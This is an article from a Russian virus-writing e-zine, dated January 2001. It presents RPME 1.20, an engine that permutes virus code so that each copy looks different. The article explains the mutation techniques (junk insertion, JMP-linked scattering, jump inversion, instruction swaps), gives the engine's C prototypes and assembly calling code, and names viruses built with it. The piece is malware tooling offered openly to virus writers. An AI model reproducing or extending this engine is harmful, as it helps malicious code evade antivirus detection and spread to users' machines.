·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
ПЕРМУТИРУЮЩИЙ ДВИЖОК RPME 1.20 [rpme.zip]
············································································
Итак, это -- улучшенная версия движка RPME. Напомню, что RPME -- это
движок для пермутации, то есть полного извращения тела вируса, которое для
этого не должно содержать никаких оффсетов на данные. А для того, чтобы
обойтись без оффсетов, все данные генерятся на стэке.
Движок состоит из двух частей: кернел и мутатор. Основа движка,
кернел, разбирает переданное ему тело вируса на инструкции (используя
дизассемблер длин), и составляет из этих инструкций связанный список. Этот
список передается в мутатор и там извращается. После чего тело вируса
собирается заново.
Основные фичи, которые могут быть достигнуты этим движком, такие:
вставка и удаление мусорных инструкций в случайные места тела вируса;
разбрасывание кусков вируса по буферу и связывание оных JMP-ами; замена
Jxx на JNxx и наоборот случайным образом с соответствующим переключением
ветвей алгоритма; замена инструкций типа <MOV r1,r2> на <PUSH r2/POP r1> и
наоборот; перестановка некоторых инструкций местами.
Описания основных функций:
DWORD __cdecl engine(
DWORD fp, // user-defined parameter
BYTE ibuf[], // input buffer
DWORD isize, // size of input buffer
DWORD ientry, // entrypoint, relative
BYTE obuf[], // output buffer
DWORD osize, // max size of output buffer
DWORD* poentry, // ptr to entrypoint, relative. (=0 if NULL)
DWORD ofiller, // outbuf filler byte, -1=transparent
DWORD extrelfix, // DWORD to be added to external relocations (*)
DWORD jmprob, // jmp-probablity, 0=no jmps
DWORD __cdecl rnd(DWORD fp,DWORD), // routine: rnd
DWORD __cdecl user_mutate(DWORD fp, // routine: mutate list
hooy* root,
DWORD __cdecl (*)(DWORD fp,DWORD),
BYTE* __cdecl (*)(DWORD fp,DWORD)
),
DWORD __cdecl user_disasm(DWORD fp,BYTE*), // routine: disassemble
BYTE* __cdecl user_malloc(DWORD fp,DWORD) // routine: malloc
);
DWORD __cdecl mutate(DWORD fp,
hooy* root,
DWORD __cdecl user_random(DWORD fp,DWORD),
BYTE* __cdecl user_malloc(DWORD fp,DWORD)
);
Вызывается движок так:
push offset my_malloc ; malloc, аллокация памяти
push offset my_disasm ; дизассемблер длин, LDE32 1.06
push offset rpme_mutate ; мутатор
push offset my_random ; рандомер
push 0 ; jmpprob, вероятность генерации "пятен"
push 0 ; extrelfix, спец.фича
push 0CCh ; заполнитель пустых мест (-1=прозрачно)
push 0 ; DWORD, принимает новую точку входа (0=нету)
push MAX_VIR_SIZE ; макс. длина выходного буфера
push edi ; выходной буфер (с пермутированным телом)
push 0 ; точка входа, от начала входного буфера
push MAX_VIR_SIZE ; размер входного буфера
push esi ; входной буфер с телом вируса
push ebp ; юзерский параметр
call rpme_kernel
add esp, 14*4
; BYTE* __cdecl malloc(DWORD user_param, DWORD size)
; [esp+4] [esp+8]
my_malloc:
mov eax, [esp+8] ; сколько байт выделять
add eax, memcount ; количество выделенной памяти
cmp eax, MAXMEM
jae __error
xchg [ecx].memcount, eax
add eax, memptr ; указатель на огромный кусок памяти
retn
__error:xor eax, eax
retn
Юзерский мутатор -- это что-то типа плугина для работы со списком
инструкций. К движку прилагается стандартный мутатор, но можно приделать и
свой собственный код.
В заключение скажу, что движок вроде-бы работает, и на нем уже
написаны некоторые вирусы, например ZPerm и Bistro.
············································································